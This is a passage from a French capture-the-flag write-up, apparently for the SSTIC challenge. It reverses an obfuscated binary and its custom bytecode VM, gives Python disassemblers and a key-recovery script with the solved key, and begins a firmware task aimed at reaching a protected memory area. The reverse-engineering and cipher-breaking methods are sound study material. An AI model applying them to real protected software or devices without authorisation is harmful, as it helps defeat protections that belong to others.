00000280  1d 00 00 01 00 00 01 31  00 00 1d 00 00 01 00 00  |.......1........|
00000290  01 21 00 00 00 02 00 00  01 12 00 00 00 03 00 00  |.!..............|
000002a0  01 23 3c 00 00 04 00 00  01 d4 02 00 1d 00 08 00  |.#<.............|
000002b0  b2 02 1c 00 00 01 00 00  01 21 00 00 00 02 00 00  |.........!......|
000002c0  01 22 00 00 00 03 00 00  01 43 37 00 00 04 00 00  |."........C7.....|
000002d0  01 54 01 00 1d 00 08 00  b2 02 00 01 00 00 01 21  |.T.............!|
000002e0  00 00 00 02 00 00 01 22  00 00 00 03 00 00 01 a3  |........".......|
000002f0  38 00 00 04 00 00 01 44  01 00 1d 00 08 00 b2 02  |8......D........|
00000300  00 01 00 00 01 21 00 00  00 02 00 00 01 22 00 00  |.....!.......".."|
00000310  00 03 00 00 01 03 3a 00  00 04 00 00 01 14 02 00  |......:.........|
00000320  1d 00 08 00 b2 02 00 00  00 00 00 00 00 00 3a 3a  |..............::|
00000330  20 50 6c 65 61 73 65 20  65 6e 74 65 72 20 74 68  | Please enter th|
00000340  65 20 64 65 63 72 79 70  74 69 6f 6e 20 6b 65 79  |e decryption key|
00000350  3a 20 00 00 3a 3a 20 54  72 79 69 6e 67 20 74 6f  |: ..:: Trying to|
00000360  20 64 65 63 72 79 70 74  20 70 61 79 6c 6f 61 64  | decrypt payload|
00000370  2e 2e 2e 0a 20 20 20 57  72 6f 6e 67 20 6b 65 79  |....   Wrong key|
00000380  20 66 6f 72 6d 61 74 2e  0a 00 20 20 20 49 6e 76  | format...   Inv|
00000390  61 6c 69 64 20 70 61 64  64 69 6e 67 2e 0a 00 00  |alid padding....|
000003a0  20 20 20 43 61 6e 6e 6f  74 20 6f 70 65 6e 20 66  |   Cannot open f|
000003b0  69 6c 65 20 70 61 79 6c  6f 61 64 2e 62 69 6e 2e  |ile payload.bin.|
000003c0  0a 00 3a 3a 20 44 65 63  72 79 70 74 65 64 20 70  |..:: Decrypted p|
000003d0  61 79 6c 6f 61 64 20 77  72 69 74 74 65 6e 20 74  |ayload written t|
000003e0  6f 20 70 61 79 6c 6f 61  64 2e 62 69 6e 2e 0a 00  |o payload.bin...|
000003f0  70 61 79 6c 6f 61 64 2e  62 69 6e 00 58 58 58 58  |payload.bin.XXXX|
00000400  58 58 58 58 58 58 58 58  58 58 58 58 00 00 00 00  |XXXXXXXXXXXX....|
00000410  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
```

```
00008000  00 bc 68 15 b5 6b 1b 41  a2 19 c4 57 e0 01 f6 af  |..h..k.A...W....|
00008010  4b 35 98 b9 38 94 3a 6f  8c 86 6a d7 2a 23 4f 6f  |K5..8.:o..j.*#Oo|
00008020  ee a5 93 20 4c 55 f0 aa  e5 f3 59 38 da 18 39 bf  |... LU....Y8..9.|
00008030  6a bb 4e 12 a6 80 30 a5  0f c4 7a b7 2f 02 6c 23  |j.N...0...z./.l#|
00008040  58 2d e6 63 5c fb 89 89  41 14 e2 c2 72 e3 9c 92  |X-.c\...A...r...|
[...]
00009fd0  34 54 19 7c ca 82 32 a1  e4 f8 f0 5c ee d8 c4 48  |4T.|..2....\...H|
00009fe0  4e 80 b6 bf 5f 7f 6a d5  2e db ae f4 f4 cc 35 dd  |N..._.j.......5.|
00009ff0  84 10 d1 76 6a 31 e5 d3  6a b6 54 c3 ca 8f 53 02  |...vj1..j.T...S.|
0000a000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
```

Bonne surprise, toutes les chaînes affichées par le programme sont ici. On apprend grâce à ces messages que *badbios.bin* va utiliser la clé pour déchiffrer un fichier qui s'appellera *payload.bin*. On devine que les données entre 0x8000 et 0xa000 correspondent au fichier *payload.bin* chiffré (qui sont elles-même chiffrées avec Salcha). Par contre, les données situées entre 0x30 et les chaînes de caractères sont assez mystérieuses pour l'instant.

2.3.2 Lazy

Le programme initialise une zone mémoire qui est pleine de zéros et dans laquelle il insère des 2 à intervalle régulier. Puis de temps en temps, il lit cette zone, regarde certaines valeurs qui y sont stockées, et agit en conséquence. Si je ne dis pas n'importe quoi, un 2 signifie qu'il devra déchiffrer avec Salcha une partie de la mémoire. Puis il va écrire d'autres valeurs (0 ou 1, accompagné du compteur de déchiffrement). J'ai voulu reverser ce fonctionnement en statique, et j'ai trouvé des choses étranges. Dans certains cas, j'ai l'impression qu'au lieu de déchiffrer, la fonction va re-chiffrer des données et les stocker dans la zone de départ. J'ai fini par supposer qu'il devait s'agir d'une tambouille interne pour gérer le déchiffrement *lazy* de la mémoire, c'est à dire de déchiffrer des morceaux de mémoire à la volée, uniquement quand c'est nécessaire, dans le désordre si besoin. En outre il semble y avoir un mécanisme pour éviter de devoir re-déchiffrer des zones qui ont déjà été déchiffrées. Bref, tout ceci ressemble à de la mémoire chiffrée, mais maintenant que j'ai tout déchiffré d'un coup à la main, je dois pouvoir ignorer cette partie. Avec du recul, je pense que le code qui re-chiffre sert par exemple à stocker la valeur de la clé à la place des XXXXXXXXXXXXXXXX. Mais comme moi aussi je suis lazy, je n'ai plus le courage de vérifier :)

2.3.3 Déchiffrement boite noire

En testant une grande quantité de clés et en dumpant à chaque fois le *payload.bin* mal déchiffré, j'ai tenté de casser le chiffrement en boite noire. J'en suis arrivé à quelques constatations intéressantes : la clé 0000000000000000 ne modifie pas du tout le fichier. Le chiffrement des 8 premiers octets de *payload.bin* est *presque* indépendant, j'entends par là qu'un octet de la clé va déchiffrer un octet du fichier. J'ai ainsi pu retrouver l'algorithme de chiffrement tel qu'il s'applique sur les 8 premiers octets du fichier : il prend chaque octet de la clé, change l'endianness, décale d'un rang et XOR avec un octet du fichier.

À ce moment, je croyais toujours que la clé ne pouvait contenir que des chiffres, et non pas de l'hexadécimal. J'avais donc un plan. En partant du principe que *payload.bin* sera d'un type de fichier connu (probablement une archive), il devrait être possible de

retrouver une partie voire la totalité de la clé. En effet, chaque octet de la clé ne couvrant que 100 des 256 valeurs possibles d'un octet, il devient rapidement discriminant d'essayer de trouver une clé capable d'obtenir un entête ZIP, RAR, GZ, BZ2, etc. Je me suis engouffré dans cette fausse piste, et pas qu'un peu. Une fois que j'ai constaté qu'aucune clé numérique ne permettait d'obtenir un format d'archive connu, ni une image, ni une vidéo, etc... j'ai supposé qu'il pourrait s'agir d'un format de fichier moins commun. J'ai par exemple fait un script qui parse les 8 premiers octets de chaque fichier de ma machine et qui regarde si un clé numérique permet de les obtenir. J'ai eu quelques faux positifs sur des fichiers textes, des clés RSA, ce qui m'a encore un peu plus enfoncé. Jusqu'au moment ou j'ai réalisé qu'on pouvait entrer des clés en hexa, pour peu que les caractères soient en majuscule... sniff.

2.3.4 blr x2

Une autre zone mémoire est initialisée au début du programme :

```
0x7fb7ffe360:   0x00400d9c      0x00000000      0x00400dac      0x00000000
0x7fb7ffe370:   0x00401580      0x00000000      0x00401634      0x00000000
0x7fb7ffe380:   0x004016e4      0x00000000      0x00401030      0x00000000
0x7fb7ffe390:   0x004010ec      0x00000000      0x004011b4      0x00000000
0x7fb7ffe3a0:   0x00401794      0x00000000      0x00400d58      0x00000000
0x7fb7ffe3b0:   0x00400c90      0x00000000      0x00400c20      0x00000000
0x7fb7ffe3c0:   0x00400bd0      0x00000000      0x00400b78      0x00000000
0x7fb7ffe3d0:   0x00400b04      0x00000000      0x00400a8c      0x00000000
0x7fb7ffe3e0:   0x00400a08      0x00000000      0x00400978      0x00000000
0x7fb7ffe3f0:   0x00400918      0x00000000      0x004008c4      0x00000000
0x7fb7ffe400:   0x00400864      0x00000000      0x004007ec      0x00000000
0x7fb7ffe410:   0x00400d24      0x00000000      0x00400ce0      0x00000000
0x7fb7ffe420:   0x00401970      0x00000000      0x004018d0      0x00000000
0x7fb7ffe430:   0x0040187c      0x00000000      0x004005f4      0x00000000
0x7fb7ffe440:   0x004005fc      0x00000000      0x00401490      0x00000000
0x7fb7ffe450:   0x0040077c      0x00000000      0x00000000      0x00000000
0x7fb7ffe460:   0x00000000      0x00000000      0x00000000      0x00000000
```

Ceci ressemble à un tableau de pointeur de fonctions. Difficile de comprendre à froid ce que font chacune des fonctions de ce tableau car elles sont obfusquées. Le code qui décide quelle est la prochaine fonction qui sera appelée est le **blr x2** de l'adresse 0x40285c. Si on comprend comment est déterminée la valeur du registre x2, on comprend tout. La remontée n'est pas si aisée, mais j'ai fini par avoir le déclic en observant les modifications des différentes zones mémoire à grand renfort de watchpoint. Le programme lit et interprète les données mystérieuses de la mémoire chiffrée avec Salcha. Ce sont ces données qui vont choisir quelle fonction du tableau de pointeur sera appelée. Les fonctions en question lisent et écrivent toujours aux mêmes endroits. Eureka. Je suis en train de reverser une machine virtuelle. La mémoire chiffrée est un ensemble d'instructions, du bytecode dans un format inconnu. Chaque fonction du tableau de pointeur est un opcode. Elles lisent et écrivent dans des registres. D'un coup, tout devient enfin plus clair.

2.4 Inception

Il faut donc maintenant reverser le programme qui tourne dans la machine virtuelle qu'on vient de reverser. Comme la syntaxe semble inconnue, il convient de coder un désassembleur. Voici le mien. Je ne garantis pas qu'il soit entièrement juste (par exemple,

les flags ont été trouvés empiriquement).

```python
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import struct

class Disass:
    def __init__(self, path):
        with open(path) as f:
            self.asm = f.read()
        self.ip = 0x40
        self.run()

    def parse(self, size):
        """ Parse arguments of an opcode """
        cmd = self.asm[:size+1].encode("hex")
        cmd = list(cmd[x:x+2] for x in range(0, len(cmd), 2))
        h = cmd[1:]
        r = int(h[0][1], 16)
        arg = int("".join(h[-1:0:-1]) + h[0][0], 16)
        self.asm = self.asm[size+1:]
        cmd = "".join(cmd).ljust(8, " ")
        ip = "0x" + hex(self.ip)[2:].rjust(4, "0")
        prefix = "%s  %s " % (ip, cmd)
        self.ip += size + 1
        return prefix, r, arg

    def run(self):
        """ Disass input file """
        while self.asm:
            opcode = ord(self.asm[0])
            if opcode == 0:
                print "%s mov r%i, %i" % self.parse(3)
            elif opcode == 1:
                print "%s or  r%i, %i" % self.parse(3)
            elif opcode == 2:
                prefix, r, arg = self.parse(3)
                r2 = arg & 0xf
                r2 = "r%i, " % r2 if r2 else ""
                arg = hex(arg >> 4)
                print "%s ldr r%i, [%s%s]" % (prefix, r, r2, arg)
            elif opcode == 4:
                prefix, r, arg = self.parse(3)
                r2 = arg & 0xf
                arg = hex(arg >> 4)
                print "%s ldr r%i, [r%s]" % (prefix, r, r2)
            elif opcode == 7:
                print "%s str r%i [r%i]" % self.parse(3)
            elif opcode == 8:
                o = struct.unpack("<I", self.asm[0:4])[0]
                r1 = (o >> 9) & 0xf
                flags = (o >> 13) & 0b111
                addr = (o >> 16)
                prefix = self.parse(3)[0]
                flag_dict = {2:"eq", 3:"ne", 4:"lt", 5:"gt", 6:"ls"}
                if r1 == 0:
                    print "%s b    %s" % (prefix, hex(addr))
                else:
                    print "%s b.%s r%i, 0, %s" % (prefix, flag_dict[flags], r1, hex(addr))
            elif opcode == 0x0a:
                print "%s xor r%i, r%i" % self.parse(1)
            elif opcode == 0x0b:
                print "%s or  r%i, r%i" % self.parse(1)
            elif opcode == 0x0c:
                print "%s and r%i, r%i" % self.parse(1)
            elif opcode == 0x0d:
                print "%s lsh r%i, r%i" % self.parse(1)
            elif opcode == 0x0e:
                print "%s rsh r%i, r%i" % self.parse(1)
```

```
69              elif opcode == 0x12:
70                  print "%s add r%i, r%i" % self.parse(1)
71              elif opcode == 0x13:
72                  print "%s sub r%i, r%i" % self.parse(1)
73              elif opcode == 0x16:
74                  print "%s inc r%i" % self.parse(1)[:-1]
75              elif opcode == 0x17:
76                  print "%s dec r%i" % self.parse(1)[:-1]
77              elif opcode == 0x1c:
78                  print "%s halt" % self.parse(1)[0]
79              elif opcode == 0x1d:
80                  print "%s syscall" % self.parse(1)[0]
81              elif opcode == 0x1e:
82                  print "%s TODO mov r%i, r%i * unknown big number" % self.parse(1)
83              else:
84                  print "%s TODO unknown opcode %s" % (self.parse(1)[0], hex(opcode))
85
86  if __name__ == '__main__':
87      d = Disass("badbios_asm.bin")
```

Et voici l'assembleur que mon script génère en sortie :

```
0x0040  00010000  mov r1, 0
0x0044  01210000  or  r1, 2
0x0048  00020000  mov r2, 0
0x004c  01120000  or  r2, 1
0x0050  00030000  mov r3, 0
0x0054  01e33200  or  r3, 814
0x0058  00040000  mov r4, 0
0x005c  01440200  or  r4, 36
0x0060  1d00      syscall
0x0062  00010000  mov r1, 0
0x0066  01110000  or  r1, 1
0x006a  0a22      xor r2, r2
0x006c  00030000  mov r3, 0
0x0070  01c33f00  or  r3, 1020
0x0074  00040000  mov r4, 0
0x0078  01040100  or  r4, 16
0x007c  1d00      syscall
0x007e  02050000  ldr r5, [0x0]
0x0082  00030000  mov r3, 0
0x0086  01030100  or  r3, 16
0x008a  1335      sub r5, r3
0x008c  086ab402  b.ne r5, 0, 0x2b4
0x0090  000f0000  mov r15, 0
0x0094  010f0100  or  r15, 16
0x0098  000e0000  mov r14, 0
0x009c  01ce3f00  or  r14, 1020
0x00a0  000d0000  mov r13, 0
0x00a4  016d3200  or  r13, 806
0x00a8  170d      dec r13
0x00aa  00020000  mov r2, 0
0x00ae  01020300  or  r2, 48
0x00b2  00030000  mov r3, 0
0x00b6  01930300  or  r3, 57
0x00ba  00040000  mov r4, 0
0x00be  01140400  or  r4, 65
0x00c2  00050000  mov r5, 0
0x00c6  01650400  or  r5, 70
0x00ca  04ec0000  ldr r12, [r14]
0x00ce  02012c00  ldr r1, [0x2c]
0x00d2  1321      sub r1, r2
0x00d4  0882b402  b.lt r1, 0, 0x2b4
0x00d8  02012c00  ldr r1, [0x2c]
0x00dc  1331      sub r1, r3
0x00de  08c20601  b.ls r1, 0, 0x106
```

```
0x00e2  02012c00  ldr r1, [0x2c]
0x00e6  1341      sub r1, r4
0x00e8  0882b402  b.lt r1, 0, 0x2b4
0x00ec  02012c00  ldr r1, [0x2c]
0x00f0  1351      sub r1, r5
0x00f2  08a2b402  b.gt r1, 0, 0x2b4
0x00f6  134c      sub r12, r4
0x00f8  00010000  mov r1, 0
0x00fc  01a10000  or  r1, 10
0x0100  121c      add r12, r1
0x0102  08000801  b    0x108
0x0106  132c      sub r12, r2
0x0108  00070000  mov r7, 0
0x010c  01070100  or  r7, 16
0x0110  13f7      sub r7, r15
0x0112  00010000  mov r1, 0
0x0116  01110000  or  r1, 1
0x011a  0c71      and r1, r7
0x011c  08622c01  b.ne r1, 0, 0x12c
0x0120  00070000  mov r7, 0
0x0124  01470000  or  r7, 4
0x0128  0d7c      lsh r12, r7
0x012a  160d      inc r13
0x012c  04d10000  ldr r1, [r13]
0x0130  0bc1      or  r1, r12
0x0132  07d10000  str r1 [r13]
0x0136  160e      inc r14
0x0138  170f      dec r15
0x013a  087eca00  b.ne r15, 0, 0xca
0x013e  00010000  mov r1, 0
0x0142  01210000  or  r1, 2
0x0146  00020000  mov r2, 0
0x014a  01120000  or  r2, 1
0x014e  00030000  mov r3, 0
0x0152  01433500  or  r3, 852
0x0156  00040000  mov r4, 0
0x015a  01040200  or  r4, 32
0x015e  1d00      syscall
0x0160  00010000  mov r1, 0
0x0164  01613200  or  r1, 806
0x0168  021a0000  ldr r10, [r1, 0x0]
0x016c  021b0400  ldr r11, [r1, 0x4]
0x0170  0a11      xor r1, r1
0x0172  00020000  mov r2, 0
0x0176  01020008  or  r2, 32768
0x017a  00030000  mov r3, 0
0x017e  01830000  or  r3, 8
0x0182  0a44      xor r4, r4
0x0184  000c000b  mov r12, 45056
0x0188  010c0000  or  r12, 0
0x018c  000d0000  mov r13, 0
0x0190  011d0000  or  r13, 1
0x0194  02082400  ldr r8, [0x24]
0x0198  02092800  ldr r9, [0x28]
0x019c  0cc8      and r8, r12
0x019e  0cd9      and r9, r13
0x01a0  0a98      xor r8, r9
0x01a2  1e89      TODO mov r9, r8 * unknown big number
0x01a4  00080000  mov r8, 0
0x01a8  01180000  or  r8, 1
0x01ac  00070000  mov r7, 0
0x01b0  01f70100  or  r7, 31
0x01b4  02062400  ldr r6, [0x24]
0x01b8  0c86      and r6, r8
0x01ba  0d76      lsh r6, r7
0x01bc  0e8b      rsh r11, r8
0x01be  0b6b      or  r11, r6
0x01c0  0e8a      rsh r10, r8
0x01c2  0d79      lsh r9, r7
0x01c4  0b9a      or  r10, r9
0x01c6  1703      dec r3
```

```
0x01c8  02072800  ldr r7, [0x28]
0x01cc  0c87      and r7, r8
0x01ce  0d37      lsh r7, r3
0x01d0  0b74      or  r4, r7
0x01d2  0866f601  b.ne r3, 0, 0x1f6
0x01d6  00070000  mov r7, 0
0x01da  01070008  or  r7, 32768
0x01de  1217      add r7, r1
0x01e0  04780000  ldr r8, [r7]
0x01e4  0a48      xor r8, r4
0x01e6  07780000  str r8 [r7]
0x01ea  00030000  mov r3, 0
0x01ee  01830000  or  r3, 8
0x01f2  1601      inc r1
0x01f4  0a44      xor r4, r4
0x01f6  00080000  mov r8, 0
0x01fa  01080002  or  r8, 8192
0x01fe  1318      sub r8, r1
0x0200  08b09401  b.gt r8, 0, 0x194
0x0204  000d0000  mov r13, 0
0x0208  010d0008  or  r13, 32768
0x020c  000c0000  mov r12, 0
0x0210  010c0002  or  r12, 8192
0x0214  000b0000  mov r11, 0
0x0218  010b0800  or  r11, 128
0x021c  0aaa      xor r10, r10
0x021e  00090000  mov r9, 0
0x0222  01890000  or  r9, 8
0x0226  160a      inc r10
0x0228  170c      dec r12
0x022a  08d8da02  b.ls r12, 0, 0x2da
0x022e  020a3000  ldr r10, [0x30]
0x0232  12ca      add r10, r12
0x0234  04a10000  ldr r1, [r10]
0x0238  08422602  b.eq r1, 0, 0x226
0x023c  13b1      sub r1, r11
0x023e  0862da02  b.ne r1, 0, 0x2da
0x0242  139a      sub r10, r9
0x0244  08d4da02  b.ls r10, 0, 0x2da
0x0248  0c01      and r1, r0
0x024a  00020000  mov r2, 0
0x024e  01023f00  or  r2, 1008
0x0252  00030000  mov r3, 0
0x0256  01132400  or  r3, 577
0x025a  00040000  mov r4, 0
0x025e  01641b00  or  r4, 438
0x0262  1d00      syscall
0x0264  0882b202  b.lt r1, 0, 0x2b2
0x0268  02020000  ldr r2, [0x0]
0x026c  00010000  mov r1, 0
0x0270  01210000  or  r1, 2
0x0274  00030000  mov r3, 0
0x0278  01030008  or  r3, 32768
0x027c  02042c00  ldr r4, [0x2c]
0x0280  1d00      syscall
0x0282  00010000  mov r1, 0
0x0286  01310000  or  r1, 3
0x028a  1d00      syscall
0x028c  00010000  mov r1, 0
0x0290  01210000  or  r1, 2
0x0294  00020000  mov r2, 0
0x0298  01120000  or  r2, 1
0x029c  00030000  mov r3, 0
0x02a0  01233c00  or  r3, 962
0x02a4  00040000  mov r4, 0
0x02a8  01d40200  or  r4, 45
0x02ac  1d00      syscall
0x02ae  0800b202  b    0x2b2
0x02b2  1c00      halt
```

```
0x02b4  00010000  mov r1, 0
0x02b8  01210000  or  r1, 2
0x02bc  00020000  mov r2, 0
0x02c0  01220000  or  r2, 2
0x02c4  00030000  mov r3, 0
0x02c8  01433700  or  r3, 884
0x02cc  00040000  mov r4, 0
0x02d0  01540100  or  r4, 21
0x02d4  1d00      syscall
0x02d6  0800b202  b    0x2b2
0x02da  00010000  mov r1, 0
0x02de  01210000  or  r1, 2
0x02e2  00020000  mov r2, 0
0x02e6  01220000  or  r2, 2
0x02ea  00030000  mov r3, 0
0x02ee  01a33800  or  r3, 906
0x02f2  00040000  mov r4, 0
0x02f6  01440100  or  r4, 20
0x02fa  1d00      syscall
0x02fc  0800b202  b    0x2b2
0x0300  00010000  mov r1, 0
0x0304  01210000  or  r1, 2
0x0308  00020000  mov r2, 0
0x030c  01220000  or  r2, 2
0x0310  00030000  mov r3, 0
0x0314  01033a00  or  r3, 928
0x0318  00040000  mov r4, 0
0x031c  01140200  or  r4, 33
0x0320  1d00      syscall
0x0322  0800b202  b    0x2b2
0x0326  0000
```

En reversant ce code assembleur, on retrouve enfin le code que l'on cherchait depuis le début : comment est vérifié le format de la clé, comment est déchiffré le fichier, comment est vérifié le padding, etc. Il ne reste plus qu'à retrouver la clé.

Le déchiffrement ressemble beaucoup à ce qui avait été trouvé en boite noire. On prend un octet de la clé, on change son endianness et on le XOR avec un octet du fichier. Ensuite, il y a un petit trick. La clé est modifiée en faisant une sorte de ROR qui n'en est pas un. Le code de l'opération qui est effectuée est obfusqué afin de nous empêcher de la comprendre. J'ai essayé, et j'ai eu mal au crane. Parfait, alors j'ai arrêté d'essayer car comprendre n'était pas indispensable. J'ai considéré cette opération comme une boite noire, et j'ai implémenté tel quel le code assembleur. Je l'ai nommée PRNG. Le nom est très mal choisi, mais comme c'est mon rapport, je fais ce que je veux. Ce choix exprime le fait que je fais passer à cette fonction le début et la fin de la clé, et PRNG va se servir de cette graine pour me renvoyer un bit à 0 ou à 1, peu importe de comment il le décide du moment que c'est constant. L'opération qui modifie la clé est donc une suite de 8 ROR consécutifs, mais dont le bit de poids fort est remplacé par le résultat de ma fonction PRNG. C'est pas clair ? C'est normal, j'ai très mal expliqué.

Pour retrouver la clé, il faut utiliser le padding. Grâce au code assembleur, on constate que le fichier *payload.bin* devra se terminer par un certain nombre d'octets nuls. Il est possible de retrouver facilement quelle est la clé qui permet d'obtenir 8 octets nuls à partir des 8 derniers octets du fichier chiffré. Enfin, il suffit d'inverser tous les tricky-ROR pour modifier la clé et revenir jusqu'à sa valeur initiale. Voici mon code très sale qui s'occupe de faire ça :

```python
#!/usr/bin/env python
#-*- coding:utf-8 -*-

def ror(i):
    b = bin(i)[2:].rjust(64, "0")
    return int(b[-1] + b[1:-1], 2)

def prng(x1, x2):
    x1 = int(x1, 16) & 0xb
    x2 = int(x2, 16) & 1
    x = "%x000000%i" % (x1, x2)
    x = int(x, 16)
    x = x ^ (x >> 1)
    x = x ^ (x >> 2)
    x = x & 0x11111111
    x = (x * 0x11111111) & 0xffffffff
    b = (x >> 28) & 1
    return b

k = "8195e2a78654daad"
for c in range(0x2000-8):
    for i in range(8):
        k = int(k, 16)
        p = int(bin(k)[2:].strip("L").rjust(64, "0")[0])
        k = (k << 1 ) & 0xffffffffffffffff
        k = hex(k)[2:].strip("L").rjust(16, "0")
        p_check = prng(k[0], k[-1])
        if p != p_check:
            # on flip le dernier bit
            k = int(k, 16) ^ 1
            k = hex(k)[2:].strip("L").rjust(16, "0")

key = k.decode("hex")
key1 = key[3::-1].encode("hex")
key2 = key[:-5:-1].encode("hex")
print (key1+key2).upper()
```

La clé de déchiffrement est `0BADB10515DEAD11`.

RIP.

3 Niveau 3 : Microcon qui trolle

3.1 Premières observations

Le fichier *payload.bin* est une archive ZIP qui contient deux fichiers : *fw.hex* et *upload.py*.

```
:100000002100111B2001108CC0D2201010002101F2
:10001000117C2200120FC03C20101000210111B2EF
:1000200022001229C07620111000C0B4C0B65A00B8
:10003000210011242001 10B2C0BE51AAC10A210022
:10004000112920011 0B2C094210011092001 10A82B
:10005000C08AB084580059115A2230002101110081
:10006000220012017310A006F0806002B3F6300087
:1000700051002200120123 0013FFE4806114940A4E
:10008000844A7404E49461145113E480E581F5809A
:10009000F48160027430AFE2D00FB002B0005800BB
:1000A00059115A22300051005200230013FF24003E
:1000B000140160245003E58061155113E580E68149
:1000C000F680F58165565553E585E6923665F692DC
:1000D000622475A2A7DCD00FC801B3FCC802D00F00
:1000E000C803D00F2100110122011200E301711198
:1000F000E40184424034D00F3222230013013444FF
:10010000E4025444A0087441A0066003B3F0300038
:10011000D00F241014002500150F2600160A270002
:10012000170192145225732 6A80623001337B00432
:1001300023001330623233 33F20360077247A006A4
:10014000635794 43B3DCD00F242714102500150AFD
:1001500036662700170170076007921483247113 15
:10016000944528001820333 3F8034662A3EA280098
:100170001830688 2F8035444A7DED00F59656168CF
:10018000526973634973476F6F6421004669726DEA
:1001900077617265207631 2E33332E372073746188
:1001A0007274696E672E0A0048616C74696E672EFE
:1001B0000A00942B506FAE0CBB1F39B4D8CA05FD92
:1001C0008A0F5AE8B5D40D6CE86AA6ACC492F8F16F
:0C01D00072A77CE6D5A5680921D4410087
:00000001FF
```

```python
#!/usr/bin/env python

import socket, select

#
# Microcontroller architecture appears to be undocumented.
# No disassembler is available.
#
# The datasheet only gives us the following information:
#
#   == MEMORY MAP ==
#
#   [0000-07FF] - Firmware                  \
#   [0800-0FFF] - Unmapped                  | User
#   [1000-F7FF] - RAM                       /
#   [F000-FBFF] - Secret memory area        \
#   [FC00-FCFF] - HW Registers              | Privileged
#   [FD00-FFFF] - ROM (kernel)              /
#

FIRMWARE = "fw.hex"

print("-----------------------------------------------")
print("----- Microcontroller firmware uploader -----")
print("-----------------------------------------------")
print()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('178.33.105.197', 10101))

print(":: Serial port connected.")
print(":: Uploading firmware... ", end='')

[ s.send(line) for line in open(FIRMWARE, 'rb') ]

print("done.")
```

```python
print()

resp = b''
while True:
    ready, _, _ = select.select([s], [], [], 10)
    if ready:
        try:
            data = s.recv(32)
        except:
            break
        if not data:
            break
        resp += data
    else:
        break

print(resp.decode("utf-8"))
s.close()
```

Ce fichier python s'occuper d'envoyer *fw.hex* sur une machine distante et d'afficher la réponse. Le fichier *fw.hex* est un firmware d'un microcontôleur [13] non-documenté. D'après les commentaires du fichier python, on devine que la mission sera de créer son propre firmware et de parvenir à accéder à la mémoire secrète protégée.

Quand on lance *upload.py*, le firmware est chargé sur la machine distante et on récupère le résultat de son exécution :

```
-------------------------------------------
----- Microcontroller firmware uploader -----
-------------------------------------------

:: Serial port connected.
:: Uploading firmware... done.

System reset.
Firmware v1.33.7 starting.
Execution completed in  8339 CPU cycles.
Halting.
```

Le fichier *fw.hex* est dans un format que je pensais *custom* et non documenté. Alors qu'en réalité, non, il s'agit du format Intel HEX. J'ai donc passé un petit moment à reverser ce format, à comprendre quels octets correspondaient à quoi, et comment était calculé le checksum. Mais au final, ce fut du temps plutôt bien utilisé puisque j'ai appris des choses !

Tout d'abord, il va falloir documenter ce qui ne l'est pas, et donc créer des firmwares minimalistes, reverser les différents opcodes et écrire (encore ! ? !) un désassembleur. Ce qui est très utile pour faire ce travail, c'est que quand une instruction invalide est rencontrée, la machine distante retourne des informations de debug, avec notamment la valeur des registres.

13. C'est quoi un microcontrôleur ? Ben, je dois avouer que je ne savais pas trop. Mais Wikipédia m'a soufflé à l'oreille que c'était comme un CPU, mais en moins puissant et moins complet.

```
-------------------------------------------
----- Microcontroller firmware uploader -----
-------------------------------------------

:: Serial port connected.
:: Uploading firmware... done.

System reset.
-- Exception occurred at 0008: Invalid instruction.
   r0:F000     r1:0000    r2:0000    r3:0000
   r4:0000     r5:0000    r6:0000    r7:0000
   r8:0000     r9:0000   r10:0000   r11:0000
  r12:0000    r13:EFFE   r14:0000   r15:0000
   pc:0008 fault_addr:0000 [S:1 Z:1] Mode:user
CLOSING: Invalid instruction.
```

3.2 Désassembleur

Pour mon second désassembleur, j'ai réutilisé une bonne partie de la structure du précédent. Le voici (without any warranty)

```python
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import struct

class Disass:
    def __init__(self, path, ip=0):
        with open(path) as f:
            self.asm = f.read().encode("hex").upper()
        self.ip = ip
        self.run()

    def parse(self, r_num):
        """ Parse arguments of an opcode """
        cmd = self.asm[:4]
        ip = "0x" + hex(self.ip)[2:].rjust(4, "0")
        prefix = "%s  %s " % (ip, cmd)
        self.asm = self.asm[4:]
        self.ip += 2
        if r_num == 0:
            return prefix
        elif r_num == 1:
            return prefix, int(cmd[1],16), cmd[2:]
        elif r_num == 2:
            addr = int(cmd[2:],16)
            if addr > 0x80:
                addr = addr - 0x100
            abs_addr = hex(self.ip + addr)
            return prefix, abs_addr, cmd[1]
        elif r_num == 3:
            return prefix, int(cmd[1],16), int(cmd[2],16), int(cmd[3],16)
        else:
            raise Exception("Invalid number of register")

    def run(self):
        """ Disass input file """
        while self.asm:
            opcode = self.asm[0]
            if opcode == "1":
                print "%s mov l%i, 0x%s" % self.parse(1)
            elif opcode == "2":
```

```
42                 print "%s mov h%i, 0x%s" % self.parse(1)
43             elif opcode == "3":
44                 print "%s xor r%i, r%i, r%i" % self.parse(3)
45             elif opcode == "4":
46                 print "%s or  r%i, r%i, r%i" % self.parse(3)
47             elif opcode == "5":
48                 print "%s and r%i, r%i, r%i" % self.parse(3)
49             elif opcode == "6":
50                 print "%s add r%i, r%i, r%i" % self.parse(3)
51             elif opcode == "7":
52                 print "%s sub r%i, r%i, r%i" % self.parse(3)
53             elif opcode == "8":
54                 print "%s mul r%i, r%i, r%i" % self.parse(3)
55             elif opcode == "9":
56                 print "%s div r%i, r%i, r%i" % self.parse(3)
57             elif opcode == "A":
58                 print "%s jmpif %s flag=0x%s" % self.parse(2)
59             elif opcode == "B":
60                 print "%s jmp %s flag=0x%s" % self.parse(2)
61             elif opcode == "C":
62                 p, flag, addr = self.parse(1)
63                 if flag == 8:
64                     sysnum = int(addr,16)
65                     sysname = "unknown"
66                     if sysnum == 1:
67                         sysname = "exit"
68                     elif sysnum == 2:
69                         sysname = "printf"
70                     elif sysnum == 3:
71                         sysname = "count CPU cycles"
72                     print "%s syscall %i (%s)" % (p, sysnum, sysname)
73                 else:
74                     addr = int(hex(flag)[2:] + addr,16)
75                     print "%s call %s" % (p, hex(self.ip + addr))
76             elif opcode == "D":
77                 p, flag, num = self.parse(1)
78                 if flag == 0 and num == "0F":
79                     print "%s ret\n" % p
80                 elif flag == 8:
81                     print "%s kernel syscall %s" % (p, num)
82                 else:
83                     print "%s TODO unknown opcode !" % p
84             elif opcode == "E":
85                 print "%s ldr r%i, [r%i, r%i]" % self.parse(3)
86             elif opcode == "F":
87                 print "%s str r%i, [r%i, r%i]" % self.parse(3)
88             else:
